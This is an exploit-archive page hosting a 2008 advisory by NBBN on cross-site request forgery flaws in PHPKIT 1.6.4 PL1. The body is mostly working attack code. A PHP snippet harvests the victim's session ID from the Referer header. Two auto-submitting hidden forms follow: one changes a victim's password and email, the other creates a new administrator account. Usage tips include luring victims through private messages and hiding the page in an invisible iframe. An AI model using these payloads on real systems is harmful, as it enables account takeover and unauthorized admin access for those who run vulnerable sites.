exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpkit-xsrf.txt

phpkit-xsrf.txt
Posted Jan 30, 2008
Authored by NBBN

PHPKIT version 1.6.4 PL1 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | bd686a8d96632c15e6c574107869fd642622cbadb3de3bd820f5ae158927a167

phpkit-xsrf.txt

Change Mirror Download
###################################################################
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN
###################################################################

Vendor: http://www.phpkit.de/

PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker
send a link to a victim, for example in a private message, he have the
sessionid if he filter the Referer:

*******************************************************************************************
<?php
*
$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
*
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); // Now the atttacker
have the sessionid.
?>
*
*******************************************************************************************



::Vulnerabilites:

There are two vulnerabilities(there more XSRF, but the principle is the same)

1) Update User Profile XSRF (don't ask for current password)
2) Create an admin XSRF




1)
<?php
/*###################################################################################################################################
PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded
on 26th, January 2008.
#####################################################################################################################################

With this XSRF Exploit an attacker can change the profile of an user. PHPKIT
sends in all link in the cms the sessionid of the user. And in the profile,
don't ask for the old password, so we can change, if we have the sessionid
the users password, email etc.

But where we become the sessionid? This is easy, we must only filter the
referer and then submit the form.

Usage: Create a php file with this code, upload it and send a pm to the victim
with this link. If victim click -> profile updated. Better is to create a
site an then this code in a invisible iframe*/

$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32);
?>


<html>
<head></head>

<body onLoad="javascript:document.form.submit()">
<form
action="http://localhost/xampp/phpkit/upload_files/include.php?path=userprofile&mode=edit"
method="POST" name="form">
<input type="hidden" name="PHPKITSID" value=<?php $sid ?> > <!-- Here is our
sessionid getting from the referer -->
<input type="hidden" name="ud_nick" value="Admin"> <!-- Enter here the
victims username -->
<input type="hidden" name="ud_newpw1" value="Pw"> <!-- Define a new
password -->
<input type="hidden" name="ud_newpw2" value="Pw"><!-- Dito -->
<input type="hidden" name="ud_email" value="email@provider.tld"> <!-- Here you
can define a new e-mail address -->
<input type="hidden" name="ud_emailshow" value="1">
<input type="hidden" name="ud_sex" value="d">
<input type="hidden" name="user_bd_day" value="0">
<input type="hidden" name="user_bd_month" value="0">
<input type="hidden" name="user_bd_year" value="0">
<input type="hidden" name="ud_country" value="def">
<input type="hidden" name="ud_hpage" value="">
<input type="hidden" name="ud_aimid" value="">
<input type="hidden" name="ud_yim" value="">
<input type="hidden" name="ud_icqid" value="">
<input type="hidden" name="ud_usersig" value="">
<input type="hidden" name="ud_userqou" value="">
<input type="hidden" name="ud_userhobby" value="">
<input type="hidden" name="action" value="Speichern">
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>





2) Create admin

IMPORTENT: This works only if the admin was logged in the admincp before he
click the link from the attacker.

<?php
$r = $_SERVER['HTTP_REFERER'];

$sid = substr($r,strpos($r,'PHPKITSID=')+10,32);
?>
<html>
<head>
</head><body onLoad=javascript:document.edituser.submit()>

<form name="edituser" method="post"
action="http://localhost/xampp/phpkit/upload_files/pk/include.php?path=useredit&editid=new"><input
type="hidden" name="PHPKITSID" value=<?php $sid ?> />
<input type="hidden" name="editid" value="new">

<input type="text" size="25" name="edit_name" value="OIW" maxlength="50"
class="w90" /> <!-- Username -->
<input type="text" size="25" name="edit_nick" value="OIW" maxlength="50"
class="w90" /> <!-- username-->
<input type="password" name="edit_password" size="25" class="w90"
value="Password" /> <!-- A password -->
<input type="hidden" name="edit_status" value="admin"> <!--
Status -->
<input type="hidden" name="edit_groupid" value="0">
<input class="checkbox" type="checkbox" name="edit_activate" value="1"
checked />
<input class="checkbox" type="checkbox" name="edit_profillock" value="1" />
<input type="text" size="25" name="edit_email" value="mail@mail.tld" > <!--
Email -->
<input type="hidden" name="edit_notify" value="1" /></td>
<input type="hidden" name="action" value="Speichern" />
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close